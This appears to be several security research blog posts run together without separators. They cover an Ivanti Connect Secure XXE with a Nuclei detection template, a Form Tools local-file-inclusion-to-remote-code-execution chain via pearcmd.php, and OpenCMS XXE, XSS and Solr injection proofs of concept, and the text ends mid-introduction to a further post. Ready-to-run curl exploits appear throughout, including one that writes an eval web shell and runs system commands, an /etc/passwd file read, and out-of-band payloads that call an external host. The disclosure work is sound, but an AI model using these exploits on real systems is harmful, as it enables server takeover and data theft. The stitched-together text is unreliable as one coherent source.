Perhaps we weren’t looking deep enough yet, for example in the endpoint /dana-na/auth/saml-sso.cgi several parameters are eventually fed into an external wrapper function not present in the relevant Perl script:

if ($result eq 'Proceed') {
        DSSamlWrapper::SAMLSSOService::process($dsidcookieval, $remoteAddr, $spId, $spInitiated, 
            $resource, $requestType, $request, $relayState, $sigAlg, $signature, $encoding, $authAssertRef, 
            $serverHostName, $remotePort, $serverAddr, $userAgent, $status);

        $result = $status->getValue(0,$DSSamlWrapper::DSSAMLAuthnStatus);
    }

We knew it was going to be necessary to boot up our reverse engineering toolset and dive into compiled binaries to work out what is going on with a holistic mindset but something inside us said - no need, this is an Ivanti device, how hard could it be? Perhaps we just need to fuzz?

As mentioned previously - we were looking at several avenues when playing around with the available SAML functionality, including the possibility of an XML External Entity (XXE) Injection vulnerability.

Whilst the endpoints displayed helpful errors based on missing parameters, not enough information was being displayed for an error-based approach as seen in our previous OpenCMS blog. We had to go for an Out-Of-Bounds approach, i.e. a blind injection which may coerce the backend to request our listening infrastructure.

The most vanilla and well-known payload for testing OOB XXE is the following:

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM "http://{{external-host}}/x"> %watchTowr;]><r></r>

We attempted this with the endpoint /dana-na/auth/saml-sso.cgi via the HTTP POST parameter SAMLRequest , as this endpoint does not require a correctly configured value for the RelayState or TARGET parameters (i.e. we can do this blind).

Simply base64’ing the XXE payload results in a long delay in the returned HTTP response and a successful DNS callback to our infrastructure.

At this point we had to pause… did a basic XXE payload - that we could copy off an OSCP course - actually work?

Quickly we confirmed that this wasn’t present in older versions but had been introduced into the latest version of Ivanti Connect-Secure. Yes, you’re reading it right, they’ve messed up once again with their remediation and introduced an even higher impact bug.

Our team split was worth the planning.

What’s The Impact?

Well, we have spent some time figuring it out - but a big shout out to Ivanti for rushing out an advisory and so here we are.

XXE is an introduction to a variety of impacts: DOS, Local File Read, and SSRF. The impact, plainly, of the SSRF depends on what protocols are available for usage.

We noted that we were only able to achieve a DNS callback to our external infra via HTTP (HTTPS didn’t work).

Over the last few weeks issues have arisen predominantly because of the internal Python API servers running on various local ports. Several command injections have been discovered across the vast amount of APIs bound to localhost on an Invait Connect Secure appliance that are accessible from an unauthenticated perspective (read: we theorise that with the SSRF impact of this XXE, we believe with high likelihood that Command Execution/Injection is once again possible).

Given the timeline Ivanti has gone for, and the pass APT/ransomware gang attention we believe this vulnerability will now get - we have prematurely ceased our research here, and leave you with the payload to demonstrate that XXE has taken place. We believe this will help industry identify vulnerable appliances, without the need of releasing a weaponised PoC.

As this is difficult to do with a simple Python script owing to the fact an external listening server is required, we’ve lent help from our friends across the aisle and utilised a well-formed Nuclei template that uses an interactsh server for the callback.

Vulnerability Detection

In January, when APT were popping networks with 0days in Ivanti Connect Secure, we were first in the industry to release reliable mechanisms to identify a vulnerable appliance - safely. That work led numerous types of organisations, including non-profits like ShadowServer, being able to inform parties globally about their susceptibility.

We aim to do the same here, without enabling mass exploitation and deployment of crypto-miners - or forcing CISA to require a full factory reset of Ivanti appliances yet again.

id: ivanti-xxe-cve-2024-22024
info:
  name: Ivanti Connect Secure XXE (CVE-2024-22024)
  author: watchTowr
  severity: high
  tags: xxe,ivanti,watchtowr,cve-2024-22024

http:
  - raw:
      - |
        POST /dana-na/auth/saml-sso.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 236

        SAMLRequest={{base64(concat('<?xml version=\\"1.0\\" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM \\"http://',rand_text_alpha(10, "abcdef"),'.','{{interactsh-url}}','/x\\"> %watchTowr;]><r></r>'))}}
    

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol 
        words:
          - "dns"

Conclusion

Another day, yet another SSL VPN bug.

We’re surprised about the communication mishandling from Ivanti, and we assume this is without malice.

We’ve said what we’ve needed to say before about SSLVPN appliances as an industry, the poor state of security, and the concerning trend downwards. However, our commitment remains - to help our clients remain secure, and thus we will continue on this crusade until such a time that it is not relevant.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about how the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, can support your organisation, please get in touch.

When looking across the attack surface of large enterprises, the expectation is the utilisation of well-known heavy-hitting software and appliances. Think your Citrix's, Cisco's, MOVEit's, and other such excitement.

These products are enterprise-grade, in the sense that they typically go through some sort of security process during development (.. or you’d hope so, anyway) and come up against heavy scrutiny.

However, the reality is that large enterprises (and potentially shadow IT) utilise lesser-known frameworks and CMS’s to fit their tight deadlines. Unfortunately, these smaller-scale implementations typically come with a lower barrier to entry for attackers when hunting for vulnerabilities.

To whet your appetite for what we’re going to demonstrate, below is a deep dive into a Local File Inclusion vulnerability which can lead to Remote Code Execution in installations of ‘Form Tools’, an open-source PHP-based application for creating, storing and sharing forms on the Internet, of over 15 year vintage. A short search across open data platforms reveals over 1,000 installations with "we just discovered Shodan"-tier fingerprints.

Yes, you read it right, another framework that we’ve stumbled across ‘in the wild’ deployed to - once again - recreate the purpose of the magical HTML <form> tag with overly complex server-side logic and functionality. We’re no strangers to over-engineered approaches to simple topics, you only have to take a brief look into our analysis of Orbeon Forms to see our stripes on display.

But… before we go into the technical analysis of this process, and all the fun we had along the way, we thought perhaps we’d share a little philosophical point of discussion that seems to be super-popular in recent times.

PHP bad?

So, is bagging on PHP just a cool bandwagon to jump on? Or is there an actual basis to this viewpoint?

Well, PHP has historically earned a name synonymous with vulnerabilities for a variety of reasons. One of the most obvious is its ‘beginner friendly’ style, with various flavours of dangerous functions beautifully laid out (if you’re not convinced, take a gander at the OWASP ‘no-no’ guide).

Sure, there are battle-hardened frameworks, such as Laravel and WordPress. While these frameworks seem to have less frequent issues, the reality for most developers (including, in our experience, large enterprises) is that custom-built PHP code is still required, where nasty bugs can creep in.

It is no coincidence that, if you started your offensive security journey with a certification, CTF, or training, you most likely rapidly encountered a vulnerable PHP application. It’s an incredibly straightforward platform in which to demonstrate vulnerabilities such as Local or Remote File Inclusion, SQL Injection, or various deserialization issues (the list could go on).

Here at watchTowr, we have a variety of backgrounds, from Red Teaming to Bug Bounty Hunting, and many of us share the same workflow when we come across PHP applications in the wild:

1. Is it PHP?
   1. Is it custom?
      1. LFG!

Sure, not everyone will have the same opinion (and that’s OK - they’re missing out on those sweet sweet PHP vulnerabilities, more for us).

Aprons On

Now that we’re finished philosophising, let’s take a look at Form Tools. As usual, we like to make sure the researchers at home can follow along, so to get started, grab your apron, get to your stations, and fire up the following Docker image to get you going:

version: '3.8'

services:
  # Apache with PHP
  web:
    image: php:7.4-apache
    ports:
      - "8088:80"
    depends_on:
      - db
    entrypoint: 
      - "bash"
      - "-c"
      - "apt-get update -y &&
          apt-get install unzip -y &&
          docker-php-ext-install pdo pdo_mysql && 
          docker-php-ext-install mysqli && 
          docker-php-ext-enable mysqli && 
          curl '<https://formtools.org/download/packages/Formtools-3.1.1-02202026.zip>' -o /tmp/Formtools.zip &&
          unzip /tmp/Formtools.zip -d /var/www/html/ &&
          apache2-foreground &&
					chmod -R a+rw /var/www/html/formtools"

  # MySQL
  db:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: examplepassword
      MYSQL_DATABASE: mydatabase
      MYSQL_USER: myuser
      MYSQL_PASSWORD: mypassword
    volumes:
      - ./db_data:/var/lib/mysql
    ports:
      - "3308:3306"

A quick docker compose up -d will get the server ready and accessible at http://localhost:8088/formtools/ .

Sort This Mess Out

In previous blogs, we’ve gone into detail on how to map out the attack surface of Java applications and servlets. In traditional PHP applications such as this, it's actually pretty straightforward, so no real detail is needed. There is a bit of clutter and noise involved, but we’ll go through how to find the juicy-ripe files to look at including in our dish.

All files within the webroot are directly accessible and exposed to the network by the web server, but we’re interested specifically in functionalities provided by the PHP application which are available from a pre-authenticated perspective for the max impact that we’re cooking up.

A quick find command can be used to extract a list of PHP files accessible in the webroot. In total, there should find 1043 php files to look at.

By just blasting HTTP requests without authentication material at this list against the web server, we can see a common 302 redirect to “/?message=notify_no_account_id_in_sessions” in a number of responses.

To identify where this is coming from, we can look at a quick-and-obvious example that checks for auth in /admin/client/index.php:

<?php

require_once("../../global/library.php");

use FormTools\\Administrator;
use FormTools\\Clients;
use FormTools\\Core;
use FormTools\\General;
use FormTools\\Pages;
use FormTools\\Sessions;
use FormTools\\Themes;

Core::init();
Core::$user->checkAuth("admin");

Those that are fluent in common sense will likely determine that the checkAuth() function checks to see if authentication has taken place. Therefore, let’s discard any files tested that redirect (and thus have this check), and look further down the list of our hits (tl;dr 1043 minus 76).

To further refine our focus, we can approach the following filtration techniques:

• Removing any script which presents an error, stack trace or 500 status code (not uninteresting per se - but for this ‘first glance’ we want access to files which execute successfully).
• Removing any files which contain module, lib, class or vendor in their path. These files are typically included in other files, as opposed to those intended to be executed by users directly.

Fast-forward using this approach, and we’re able to retrieve a handful of files that are of interest. From our initial 1043, we’re down to 7 files:

• /index.php
• /forget_password.php
• /install/index.php
• /install/actions-installation.php
• /error.php
• /process.php
• /admin/index.php

Now, your spidey-sense is probably the same as ours - the file that stood out most to us was /install/actions-installation.php, simply because installation files should be very off-limits on a production server after the setup process has been completed. We’ve seen remnants of the installation procedure be a recent cause for concern with Atlassian’s Confluence, for example (we’re thinking of CVE-2023-22518, in which a leftover setup endpoint could be used to reset the administrative password).

When manually inspecting PHP files, you typically need to train your eyes to look for user input that comes in through PHP global variables such as $_GET, $_REQUEST , and $_POST (and others). This will be where your nefarious ideas can take control as we push our data through the labyrinth of code.

On lines 21-23 of this file, we can see the consumption from both GET and POST parameters of a “lang” variable:

$currentLang = General::loadField("lang", "lang", Core::getDefaultLang());
$request = array_merge($_GET, $_POST);
Core::setCurrentLang($currentLang);

Tracing the origin of the function setCurrentLang leads us to /global/code/Core.class.php , line 641:

public static function setCurrentLang($lang)
{
	self::$currLang = $lang;
	self::$translations = new Translations(self::$currLang);
	self::$L = self::$translations->getStrings();
}

Further diving into the instantiation of the Translations object takes us to /global/code/Translations.class.php where we can see the sink for the parameters value:

class Translations
{
    private $list;
    private $L;

    function __construct($lang) {
        $json = file_get_contents(__DIR__ . "/../lang/manifest.json");
        $translations = json_decode($json);

        // store the full list of translations
        $this->list = $translations->languages;

        // now load the appropriate one. This may be better with an autoloader & converting the lang files to classes.
        $lang_file = $lang . ".php";
        include(realpath(__DIR__ . "/../lang/{$lang_file}"));

        if (isset($LANG)) {
            $this->L = $LANG;
        }
    }

If your eyes are not trained to hone in on questionable PHP code quite yet, fear not.

You can see the line where the parameter $lang is concatenated with a ".php" string before being used with an include() function.

Hopefully, your brain is now in tune, and you can see where we’re heading! That’s right, we’re playing with that OWASP original, Local File Inclusion (LFI).

If you’re simply too young to have remembered a time when these were prolific, and you could shell half the Internet with this one simple trick, some good reading can be found at OWASP - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion.

In a typical scenario where you’re looking to exploit an LFI in a PHP application, we would simply inject PHP code into web server logs or another predictable location, and then use our LFI to include this file (where PHP automatically expects the contents to be PHP), riding our way to Remote Code Execution.

However, given that our user-controlled input is suffixed with the .php string before being passed into the include() function, we’re at a disadvantage - we simply can’t include any file without a .php extension.

In older versions of PHP (<5.3), it was possible to truncate the value of a string by injecting a large enough value (4096 chars), and in other versions, you could use null bytes (HTTP-encoded as %00) to just discard the remainder of the string. However, we’re playing with new tech here - modern problems require modern solutions, old techniques aren’t going to cut it.

Before we start driving for our ultimate goal of Remote Code Execution, we first need to validate that local file inclusion has taken place.

A simple request to the endpoint with an erroneous value for the lang param gives us this insightful PHP error:

curl -i -s -k -X $'GET' \\
    -H $'Host: localhost:8088' \\
    $'<http://localhost:8088/formtools/install/actions-installation.php?lang=/>'

<br />
<b>Warning</b>:  include(): Filename cannot be empty in <b>/var/www/html/formtools/global/code/Translations.class.php</b> on line <b>23</b><br />
<br />
<b>Warning</b>:  include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/formtools/global/code/Translations.class.php</b> on line <b>23</b><br />

Shazam! We’re on to something - the response tells us that we control the contents of the include() call, and we’re definitely onto something. Perhaps to further verify, we can include one of the other PHP files within the webroot, such as process.php :

curl -i -s -k -X $'GET' \\
    -H $'Host: localhost:8088' \\
    $'<http://localhost:8088/formtools/install/actions-installation.php?lang=../../process>'

The "<b>error.tpl</b>" template could not be located at the following locations:
                  <b>/var/www/html/formtoolsz/themes/default/error.tpl</b> and <b>/var/www/html/formtoolsz/themes/default/error.tpl</b>.

Perfect - the difference in responses indicates that we’re able to control, via user input, the string being parsed to an include() function. With our prior thinking confirmed, we’re well on the road to success.

Cooking Up A Storm

So let’s take stock of the available ingredients for our exploitation. We have:

• A Local File Inclusion
  • Which is pre-authentication
  • Which supports arbitrary directory traversal
  • But is limited to including files ending in “.php”.

The filename limitation can be quite damaging to our recipe for success, but it’s not time to be discouraged. Like the Michelin-star chefs that we are, it's time to cook!

At first we looked at modern day ways to truncate the string, blasting through large character variations and using all sorts of bytes at the end of the parameter value in an attempt to somehow get us out of this predicament. All of this, sadly, was futile, like attempting to cook an omelette with no eggs.

Our aim here isn’t to find a zero-day in PHP (Editors note: ahem), so we had to think outside the box.

What do we know?

Well, we know that we can include any PHP file that exists on the file system but we’re kind of back to square one when it comes to including the known PHP files we started with (the huge list of 1043 files) - but frankly, this sounds like a lot of work.

Once again, remembering the words of scientists and lawyers - work smart, never hard (ever) - we decided to look deeper in the cupboards to find the seasoning we need.

At the start of the blog, we demonstrated h4x0r skills when we used the find command to discover all the *.php files available to us in the webroot.

Imagine we reran this command - but this time, slightly differently. How about we run this command again, but this time from the root of the server? Doing this, we can observe a large number of PHP scripts outside the webroot. Interesting!

After we recovered from a moment of intense self-praise, a directory (/usr/local/lib/php/PEAR ) stood out - especially as it is normally inaccessible via the webserver. For those unaware, the PEAR PHP framework (https://pear.php.net/) is installed by default on many Docker containers that use PHP - and most modern-day systems.

Could PEAR be the secret ingredient needed to make our dish palatable? A secret stash of herbs and spices usually hidden from the attacker, but newly-accessible with our LFI?

Editors note: We need to ban food-related puns, absolutely never again. I will actually claw my eyes out.

Let Them Cook

A bit of Internet sleuthing later - using all those h4x0r skills we discussed earlier - we looked for prior art around the PEAR package, specifically noting that pearcmd.php is quite popular in CTF’s and typically in conjunction with Local File Inclusions… fancy that!

Anyway, we dug into pearcmd.php to see how it works. On line 57 a variable $argv is set from a function readPHPArgv() .

$argv = Console_Getopt::readPHPArgv();

Looking deeper at the function in /usr/local/lib/php/Console/Getopt.php on line 349 shows us the following PHP block:

public static function readPHPArgv()
{
	global $argv;
	if (!is_array($argv)) {
		if (!@is_array($_SERVER['argv'])) {
			if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
				$msg = "Could not read cmd args (register_argc_argv=Off?)";
				return PEAR::raiseError("Console_Getopt: " . $msg);
      }
	    return $GLOBALS['HTTP_SERVER_VARS']['argv'];
    }
	  return $_SERVER['argv'];
  }
	return $argv;
}

Once again, your eyes should be honing in on that sweet $_SERVER method, feeding in values from a HTTP request URL (assuming the PHP environment variable register_argc_argv is set to true). These values are returned as global variables for the $argv parameter.

What follows is a flurry of functions and class calls, passing our parameters around like hot potatoes, far too deep to go into real detail here. Eventually, though, we end up in /PEAR/Command/Config.php where we can execute certain functions, such as config-create via doConfigCreate() and then writeConfigFile(), which allows us to write data to an arbitrary file path with the right parameter format:

function writeConfigFile($file = null, $layer = 'user', $data = null)
{
        $this->_lazyChannelSetup($layer);
        if ($layer == 'both' || $layer == 'all') {
            foreach ($this->files as $type => $file) {
                $err = $this->writeConfigFile($file, $type, $data);
                if (PEAR::isError($err)) {
                    return $err;
                }
            }
            return true;
        }

        if (empty($this->files[$layer])) {
            return $this->raiseError("unknown config file type `$layer'");
        }

        if ($file === null) {
            $file = $this->files[$layer];
        }

        $data = ($data === null) ? $this->configuration[$layer] : $data;
        $this->_encodeOutput($data);
        $opt = array('-p', dirname($file));
        if (!@System::mkDir($opt)) {
            return $this->raiseError("could not create directory: " . dirname($file));
        }

        if (file_exists($file) && is_file($file) && !is_writeable($file)) {
            return $this->raiseError("no write access to $file!");
        }

        $fp = @fopen($file, "w");
        if (!$fp) {
            return $this->raiseError("PEAR_Config::writeConfigFile fopen('$file','w') failed ($php_errormsg)");
        }

        $contents = "#PEAR_Config 0.9\\n" . serialize($data);
        if (!@fwrite($fp, $contents)) {
            return $this->raiseError("PEAR_Config::writeConfigFile: fwrite failed ($php_errormsg)");
        }
        return true;
}

Who are we kidding - you’re looking for the finished recipe right?

Editors note: Make it end

Well, to get into config-create and write your nefarious code to disk, just use the following CURL command:

curl -i -s -k -X $'GET' \\
    -H $'Host: localhost:8088' \\
    $'<http://localhost:8088/formtools/install/actions-installation.php?lang=+config-create+/&lang=../../../../../../usr/local/lib/php/pearcmd&/><?=eval($_POST[1]);?>+/tmp/watchTowr.php'

Then re-include our malicious script with an id command in the POST parameter 1 :

curl -i -s -k -X $'POST' \\
    -H $'Host: localhost:8088' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 52' \\
    --data-binary $'lang=../../../../../../tmp/watchTowr&1=system(\\'id\\');' \\
    $'<http://localhost:8088/formtools/install/actions-installation.php>'

The proof is in the pudding:

Editors note: For the love of God

HTTP/1.1 200 OK
Date: Wed, 07 Feb 2024 05:33:34 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Set-Cookie: PHPSESSID=1f39edb68b6a402720fb16fc4b638675; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1493
Connection: close
Content-Type: text/html; charset=utf-8

#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/php";s:8:"data_dir";s:83:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/data";s:7:"www_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/www";s:7:"cfg_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/cfg";s:7:"ext_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/ext";s:7:"doc_dir";s:83:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/docs";s:8:"test_dir";s:84:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/tests";s:9:"cache_dir";s:84:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/cache";s:12:"download_dir";s:87:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/download";s:8:"temp_dir";s:83:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/temp";s:7:"bin_dir";s:78:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear";s:7:"man_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/man";s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}}

Cleaning The Dishes

As with all of our research, it's not enough to just find bugs, we need to help fix the problems.

Editors note: This is news to me

To do this, we contacted the developers of Form Tools on several occasions, and while communication was initially fluid, this communication shortly ceased and our developer friend went MIA.

We understand in the world of open source tools, maintaining code comes with time and effort, and eventually you have to let go and put your project out to pasture.

The developer was quite frank with us that the project is no longer under active development so we can’t fault them for the urge to look for new ventures.

Unfortunately for the servers we see online, this leaves them without an answer and opens them up to exploitation. If you are running a vulnerable version of Form Tools (version 3.1.1) we suggest removing the file /install/actions-installation.php after installation or blocking access via a .htaccess /proxy rule set.

Timeline

In the idealistic world of security research, we’d be faced with the latest versions of off-the-shelf enterprise products, primed with fresh hardened code ready for analysis and code kung-fu.

In reality, however, enterprises and users often don’t update their installations unless world-ending, impactful security flaws are demonstrated or there exists a hard business requirement for new functionality. Sometimes, we’re required to step into the TARDIS and travel back in time to assault our targets, with modern techniques, against historical releases.

In this post, we will detail a recent journey into the popular open-source framework OpenCMS and its diverse presence of versions across the Internet with the same goal as ever - break things.

For those wondering ‘what is OpenCMS’? Well, it’s an open-source Java framework developed by Alkacon. Boasting over 500 stars on Github, a short Internet search reveals tens of thousands of installations with various versions in use - http://www.opencms.org/en/.

We were quick to note large enterprises within a diverse set of sectors using this framework, so as per before - we're back to project some mayhem.

Travelling back in time

Before diving into the code, we spent some time sleuthing across the Internet to see how prevalent OpenCMS is. While we were excited to see tens of thousands of installations, we were bemused by the divergence in versions being utilised.

At the time of writing, the latest version available was 16.0. However, using a beautifully exposed version HTTP response header to analyse data across a large amount of deployments, we can see 6,000 instances using OpenCMS 7, which comes in at a whopping 15 years old (being released July 2007), all the way up until recent releases.

Having looked through the published CVE set for OpenCMS, there appeared to be few world-ending bugs that would persuade users to update their instances.

Naturally, and as always, we set out with a gut feeling that vulnerabilities of catastrophic impact existed within these old-timey installs. Exploitation techniques have progressed throughout the years and (even more importantly, as we’ll see along the way) outdated dependencies also play a large part in contributing to vulnerabilities in frameworks. (Thank you Github watchers!)

Before continuing, we had to settle on a relatively old version to review, and so we settled on OpenCMS 9.5.3.

OpenCMS 9.5.3 is exposed on nearly 1,000 installations, and also noted that this is roughly when OpenCMS decided to release Docker Images for developers to quickly boot up. - https://hub.docker.com/r/alkacon/opencms-docker/tags?page=1

So that’s it - with 1.21 Gigawatts of ideas, we stepped into the DeLorean and packed our backpack with techniques ready to peruse code and entice users to update their frameworks.

With a lab target up and running version 9.5.3, the first thing we always like to do (as we have obsessively blogged about previously) with any Java application is to take a look at all of the servlets and filters available by examining the web.xml . These can be detailed within the url-pattern XML tags.

Above, we can see the url-pattern for /cmisatom/* is mapped to the servlet class org.apache.chemistry.opencmis.server.impl.atompub.CmisAtomPubServlet. Just by looking at the classpath we can see it is related to the “Apache Chemistry” library. A quick Google search brings us to the documentation for the endpoint in the context of OpenCMS: https://documentation.opencms.org/opencms-documentation/interfaces/cmis/index.html

In short, it provides the ability for remote applications to interact with the file repository of the application’s web root and its relative resources. It is more-or-less a way for headless automation to take place by simulating user presence.

Apache provides a Java Thick Client which can interact with the endpoint via “Apache Chemistry Workbench”. Let’s give it a look!

Well, after filling in the endpoint connection details and skipping authentication (who needs that?), we’re presented with this stunning 1990s-looking Java GUI that can list files and their relevant access controls:

One of the first things we noticed with this GUI is that it provides the ability to download files. Depending on the configuration of the target, it may be possible to navigate the web directory and download .jsp files, which then can be searched for sensitive source code or hardcoded credentials. This is not the case though, with the vanilla build, but may come into play with customised code.

A little tidbit to note: authentication to this endpoint uses Basic Auth. When brute forcing credentials via the administrative servlets of OpenCMS, there is a lockout mechanism - however this does not apply to the /cmisatom/ endpoint 🙂.

When first loading up the GUI we have the option to authenticate as a user of the OpenCMS framework, however as we're aiming for pre-authenticated bugs of joy and decided to skip this step, a lot of the functionality is blocked in terms of creating objects or editing files. A quick way to way to test all of the available API’s actionable by pre-authenticated users is using the “TCK” function, which runs a smoke test against the applications resource repositories with your current permissions.

This generates requests to the server for querying data, navigating directories as well as attempting to create and delete objects, so be careful using this as it may populate the target with test data should there be any permission misconfigurations.

As can be seen below, a number of requests are sent to the target by this ‘TCK’ function. One that caught our attention was the /query endpoint, which receives an XML formatted POST request with SQL-like syntax. This syntax is actually Apache Chemistry’s own language (for more info, see here).

After seeing intriguing syntax like this, we immediately started testing for any kind of SQL or XXE-like vulnerabilities. As a quick test, we threw some common payloads from the ‘payloads all the things’ repository at it, and hoped for a quick-and-easy win.

Funnily enough, a simple XXE Out of Bounds (OOB) payload works - we can see the stack trace of the parser outputting the error whilst it's attempting to parse an external DTD file:

The OOB server receives a successful HTTP request for the DTD file from the application server, indicating that XXE is possible through the injection of External Entities. This is exciting, a pre-authenticated XXE in a popular CMS framework, how far can we take it?

Whilst in our lab environment we have a likely quick route to success, we’re aware that in reality, most large enterprises will usually monitor egress traffic and block fetching external DTD’s, so perhaps we can do better? Posing the question to ourselves, can we sidestep the requirement for an HTTP fetch by including a DTD file which already exists on the server itself?

Whilst it's straight forward for us to find which DTD files exists within our Docker environment, we figured it would be neat to demonstrate from a black box perspective how to discover available DTD's should a target environment differ.

For this, we can use the wordlist from the fantastic dtd-finder project, simply requesting each and filtering error messages. We soon find that the DTD file [file:///usr/share/nmap/nmap.dtd](file:///usr/share/nmap/nmap.dtd) would exists on our target, and has the correct permissions for us to invoke it.

As well as the wordlist of DTD files, the dtd-finder Github repo also provides corresponding XXE payloads. Luckily for us, there is a payload which uses this nmap.dtd file for our pre-authenticated local file read. Bingo bango breach and tango!

A quick afterthought (somewhat humorous to add): while writing the blog, we realised that the statements value is reflected directly into the location header of the response. By simply declaring an entity within the XML document, then referencing it in the CMIS statement, we can get a nice printout of the file, including directory listing into the response header. So much for those efforts with the error based approach!

Full request:

POST /opencms/cmisatom/cmis-online/query HTTP/1.1
Content-Type: application/cmisquery+xml
Host: host
Content-Length: 524
Connection: close

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><cmis:query xmlns:cmis="<http://docs.oasis-open.org/ns/cmis/core/200908/>"><cmis:statement>&test;</cmis:statement><cmis:searchAllVersions>false</cmis:searchAllVersions><cmis:includeAllowableActions>false</cmis:includeAllowableActions><cmis:includeRelationships>none</cmis:includeRelationships><cmis:renditionFilter>cmis:none</cmis:renditionFilter><cmis:maxItems>100</cmis:maxItems><cmis:skipCount>0</cmis:skipCount></cmis:query>

While it is pretty clear the issue resides within the Apache Chemistry dependency, this dependency wasn’t introduced into OpenCMS until version 9, and the XXE is present up until version 10.5.0 as they originally used the library chemistry-opencmis-commons-api-0.7.0.jar which was resolved in 10.5.1 with the patched dependency chemistry-opencmis-commons-api-1.0.0.jar when external entities was disabled.

We discovered a number of other issues across various versions of OpenCMS, it would be to convoluted to dive into all of them but we’re happy to provide a table break down of the vulnerabilities exposed in their corresponding versions.

To make sure our fellow bug hunters can reproduce our findings and follow along at home, here are the proof of concepts for the above bugs discovered in OpenCMS:

XML External Entity (XXE) Processing (CVE-2023-42344)(Unauthenticated)

curl -i -s -k -X $'POST' \\
    -H $'Content-Type: application/cmisquery+xml' -H $'Host: <host>' -H $'Content-Length: 524' -H $'Connection: close' \\
    --data-binary $'<?xml version=\\'1.0\\' encoding=\\'UTF-8\\'?><!DOCTYPE root [<!ENTITY test SYSTEM \\'file:///etc/passwd\\'>]><cmis:query xmlns:cmis=\\"<http://docs.oasis-open.org/ns/cmis/core/200908/\\>"><cmis:statement>&test;</cmis:statement><cmis:searchAllVersions>false</cmis:searchAllVersions><cmis:includeAllowableActions>false</cmis:includeAllowableActions><cmis:includeRelationships>none</cmis:includeRelationships><cmis:renditionFilter>cmis:none</cmis:renditionFilter><cmis:maxItems>100</cmis:maxItems><cmis:skipCount>0</cmis:skipCount></cmis:query>' \\
    $'http://<host>/opencms/cmisatom/cmis-online/query'

XSS (CVE-2023-42343)

curl -i -s -k -X $'GET' \\
    -H $'Content-Type: application/cmisquery+xml' -H $'Host: <host>' \\
    $'http://<host>/opencms/cmisatom/cmis-online/type?id=2%27%22%3E%3Csvg%2Fonload%3Dalert(\\'watchTowr\\')%3E'

XSS (CVE-2023-42345) (Post Authentication)

curl -i -s -k -X $'GET' \\
    -H $'Host: <host>' \\
    $'http://<host>/opencms/system/modules/org.opencms.base/pages/updateModelGroups.jsp?basePath=%22%3e%3csvg+onload=alert(\\'watchTowr\\')%3e&baseContainerName='

Apache Solr Injection (CVE-2023-42346) (XXE Variant exists in OpenCMS 10.5.4) (Unauthenticated)

curl -i -s -k -X $'GET' \\
    -H $'Host: <host>' \\
    $'http://<host>/cmisatom/cmis-online/query?q=fq=%7b!xmlparser%20v=%27%3c!DOCTYPE%20a%20SYSTEM%20%22http://<external-host>/payload.dtd%22%3e%3ca%3e%3c/a%3e%27%7d'

Conclusion

Looking for zero days across the latest versions of applications may be fun, but its not always necessary to break into your specific target. Vulnerabilities may exist within the solution itself, but more often than not, dependencies can introduce exploitable vulnerabilities of their own. An interesting thought to note - once a vulnerability has been found in a dependency as detailed above, what other projects can we find to be using that same library at that same version? Is it a lead to more vulnerabilities within frameworks?

Our memory is not lost on the dependency issue that resided within ForgeRock's OpenAM - utilising a pre-historic Jato Framework Dependency - that was eventually leveraged to Pre-Auth Remote Code Execution by artsploit (CVE-2021-35464). Log4Shell (CVE-2021-44228) is another example that keeps paying dividends as the widespread logging library - utilised in thousands of enterprise-software packages.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

You’re likely seeing a trend - yes, we know, we look at a lot of enterprise-grade software and appliances. Today, we’re not here to change your expectations of us - we’re looking at more enterprise-grade software and appliances.

Today, we’re looking at Sangfor’s Next Gen Application Firewall (NGAF).

